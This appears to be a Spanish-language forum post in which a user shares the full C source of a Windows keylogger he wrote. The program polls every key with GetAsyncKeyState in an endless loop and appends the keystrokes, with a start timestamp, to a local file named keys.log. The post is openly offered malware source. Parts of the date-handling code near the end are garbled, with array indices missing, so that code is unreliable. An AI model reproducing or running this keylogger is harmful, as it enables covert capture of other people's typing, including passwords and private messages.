hola, depues de ver varios post con keyloggers,decidi crearme uno (basado en lo que vi)
aca esta:
// Keylogger por Ni0
#include <time.h>
#include <windows.h>
#include <stdio.h>
time_t t;
char ru[13];
char rd[14];
main ()
{
FILE *f;
int c = 0;
time(&t);
nctime(ctime(&t));
ttime();
f = fopen("keys.log", "a");
fprintf(f, "log empezado:\n%s\n%s", ru, rd); //pone la fecha y hora de cuando se ejecuto
fclose(f);
while(1){
sleep(5);
c = 8;
while(c < 223){
if(GetAsyncKeyState(c) == -32767){
if((c >= 65 && c <= 90) || (c >= 48 && c <= 57)){
f = fopen("keys.log", "a");
fprintf(f, "%c", c);
fclose(f);
}
else{
switch(c)
{
case VK_ESCAPE:
f = fopen("keys.log", "a");
fprintf(f, " [ESC] ");
fclose(f);
break;
case VK_SPACE:
f = fopen("keys.log", "a");
fprintf(f, " ");
fclose(f);
break;
case VK_UP:
f = fopen("keys.log", "a");
fprintf(f, " [F ARRIBA] ");
fclose(f);
break;
case VK_DOWN:
f = fopen("keys.log", "a");
fprintf(f, " [F ABAJO] ");
fclose(f);
break;
case VK_LEFT:
f = fopen("keys.log", "a");
fprintf(f, " [F IZQUIERDA] ");
fclose(f);
break;
case VK_RIGHT:
f = fopen("keys.log", "a");
fprintf(f, " [F DERECHA] ");
fclose(f);
break;
case VK_NUMPAD0:
f = fopen("keys.log", "a");
fprintf(f, "0");
fclose(f);
break;
case VK_NUMPAD1:
f = fopen("keys.log", "a");
fprintf(f, "1");
fclose(f);
break;
case VK_NUMPAD2:
f = fopen("keys.log", "a");
fprintf(f, "2");
fclose(f);
break;
case VK_NUMPAD3:
f = fopen("keys.log", "a");
fprintf(f, "3");
fclose(f);
break;
case VK_NUMPAD4:
f = fopen("keys.log", "a");
fprintf(f, "4");
fclose(f);
break;
case VK_NUMPAD5:
f = fopen("keys.log", "a");
fprintf(f, "5");
fclose(f);
break;
case VK_NUMPAD6:
f = fopen("keys.log", "a");
fprintf(f, "6");
fclose(f);
break;
case VK_NUMPAD7:
f = fopen("keys.log", "a");
fprintf(f, "7");
fclose(f);
break;
case VK_NUMPAD8:
f = fopen("keys.log", "a");
fprintf(f, "8");
fclose(f);
break;
case VK_NUMPAD9:
f = fopen("keys.log", "a");
fprintf(f, "9");
fclose(f);
break;
case VK_MULTIPLY:
f = fopen("keys.log", "a");
fprintf(f, "*");
fclose(f);
break;
case VK_ADD:
f = fopen("keys.log", "a");
fprintf(f, "+");
fclose(f);
break;
case VK_SUBTRACT:
f = fopen("keys.log", "a");
fprintf(f, "-");
fclose(f);
break;
case VK_DIVIDE:
f = fopen("keys.log", "a");
fprintf(f, "/");
fclose(f);
break;
case VK_F1:
f = fopen("keys.log", "a");
fprintf(f, " [F1] ");
fclose(f);
break;
case VK_F2:
f = fopen("keys.log", "a");
fprintf(f, " [F2] ");
fclose(f);
break;
case VK_F3:
f = fopen("keys.log", "a");
fprintf(f, " [F3] ");
fclose(f);
break;
case VK_F4:
f = fopen("keys.log", "a");
fprintf(f, " [F4] ");
fclose(f);
break;
case VK_F5:
f = fopen("keys.log", "a");
fprintf(f, " [F5] ");
fclose(f);
break;
case VK_F6:
f = fopen("keys.log", "a");
fprintf(f, " [F6] ");
fclose(f);
break;
case VK_F7:
f = fopen("keys.log", "a");
fprintf(f, " [F7] ");
fclose(f);
break;
case VK_F8:
f = fopen("keys.log", "a");
fprintf(f, " [F8] ");
fclose(f);
break;
case VK_F9:
f = fopen("keys.log", "a");
fprintf(f, " [F9] ");
fclose(f);
break;
case VK_F10:
f = fopen("keys.log", "a");
fprintf(f, " [F10] ");
fclose(f);
break;
case VK_F11:
f = fopen("keys.log", "a");
fprintf(f, " [F11] ");
fclose(f);
break;
case VK_F12:
f = fopen("keys.log", "a");
fprintf(f, " [F12] ");
fclose(f);
break;
case VK_F13:
f = fopen("keys.log", "a");
fprintf(f, " [F13] ");
fclose(f);
break;
case VK_F14:
f = fopen("keys.log", "a");
fprintf(f, " [F14] ");
fclose(f);
break;
case VK_F15:
f = fopen("keys.log", "a");
fprintf(f, " [F15] ");
fclose(f);
break;
case VK_F16:
f = fopen("keys.log", "a");
fprintf(f, " [F16] ");
fclose(f);
break;
case VK_F17:
f = fopen("keys.log", "a");
fprintf(f, " [F17] ");
fclose(f);
break;
case VK_F18:
f = fopen("keys.log", "a");
fprintf(f, " [F18] ");
fclose(f);
break;
case VK_F19:
f = fopen("keys.log", "a");
fprintf(f, " [F19] ");
fclose(f);
break;
case VK_F20:
f = fopen("keys.log", "a");
fprintf(f, " [F20] ");
fclose(f);
break;
case VK_F21:
f = fopen("keys.log", "a");
fprintf(f, " [F21] ");
fclose(f);
break;
case VK_F22:
f = fopen("keys.log", "a");
fprintf(f, " [F22] ");
fclose(f);
break;
case VK_F23:
f = fopen("keys.log", "a");
fprintf(f, " [F23] ");
fclose(f);
break;
case VK_F24:
f = fopen("keys.log", "a");
fprintf(f, " [F24] ");
fclose(f);
break;
case VK_LSHIFT:
f = fopen("keys.log", "a");
fprintf(f, " [SHIFT IZQ] ");
fclose(f);
break;
case VK_RSHIFT:
f = fopen("keys.log", "a");
fprintf(f, " [SHIFT DER] ");
fclose(f);
break;
case VK_LCONTROL:
if(GetAsyncKeyState(165) == -32767){
f = fopen("keys.log", "a");
fprintf(f, " [ALT GR] ");
fclose(f);
}
else{
f = fopen("keys.log", "a");
fprintf(f, " [CONTROL IZQ] ");
fclose(f);
}
break;
case VK_RCONTROL:
f = fopen("keys.log", "a");
fprintf(f, " [CONTROL DER] ");
fclose(f);
break;
case 190:
f = fopen("keys.log", "a");
fprintf(f, ".");
fclose(f);
break;
case 188:
f = fopen("keys.log", "a");
fprintf(f, ",");
fclose(f);
break;
case 189:
f = fopen("keys.log", "a");
fprintf(f, "-");
fclose(f);
break;
case VK_BACK:
f = fopen("keys.log", "a");
fprintf(f, " [BORRAR] ");
fclose(f);
break;
case VK_TAB:
f = fopen("keys.log", "a");
fprintf(f, " [TABULADOR] ");
fclose(f);
break;
case 164:
f = fopen("keys.log", "a");
fprintf(f, " [ALT IZQ] ");
fclose(f);
break;
}
}
}
c++;
}
}
}
ttime(void) //traduce la fecha al castellano (veran eso de ru y rd, era de otro programa que
//hice que necesitabaque la fecha este dividida en 2, para no hacer la traduccion de nuevo
//copie y pege
{
if(ru[0] == 'M' && ru[1] == 'o' && ru[2] == 'n'){
ru[0] = 'L';
ru[1] = 'u';
ru[2] = 'n';
}
else if(ru[0] == 'T' && ru[1] == 'u' && ru[2] == 'e'){
ru[0] = 'M';
ru[1] = 'a';
ru[2] = 'r';
}
else if(ru[0] == 'W' && ru[1] == 'e' && ru[2] == 'd'){
ru[0] = 'M';
ru[1] = 'i';
ru[2] = 'e';
}
else if(ru[0] == 'T' && ru[1] == 'h' && ru[2] == 'u'){
ru[0] = 'J';
ru[1] = 'u';
ru[2] = 'e';
}
else if(ru[0] == 'F' && ru[1] == 'r' && ru[2] == 'i'){
ru[0] = 'V';
ru[1] = 'i';
ru[2] = 'e';
}
else if(ru[0] == 'S' && ru[1] == 'a' && ru[2] == 't'){
ru[0] = 'S';
ru[1] = 'a';
ru[2] = 'b';
}
else if(ru[0] == 'S' && ru[1] == 'u' && ru[2] == 'n'){
ru[0] = 'D';
ru[1] = 'o';
ru[2] = 'm';
}
if(ru[4] == 'J' && ru[5] == 'a' && ru[6] == 'n'){
ru[4] = 'E';
ru[5] = 'n';
ru[6] = 'e';
}
else if(ru[4] == 'A' && ru[5] == 'p' && ru[6] == 'r'){
ru[4] = 'A';
ru[5] = 'b';
ru[6] = 'r';
}
else if(ru[4] == 'A' && ru[5] == 'u' && ru[6] == 'g'){
ru[4] = 'A';
ru[5] = 'g';
ru[6] = 'o';
}
}
nctime(char time[]) //aca divide en 2 la fecha (como dije con ttime, esto era necesario para
//otro programa, para no hacer el codigo de nuevo, copie y pege
{
int i = 0;
int ir = -1;
int flag = 0;
while(flag < 3){
ru
= time;
i++;
if(time == ' '){
flag++;
}
}
ru = ' ';
i++;
ru = ' ';
i++;
ru = '\0';
i--;
i--;
while(time != '\0'){
i++;
ir++;
rd[ir] = time;
}
}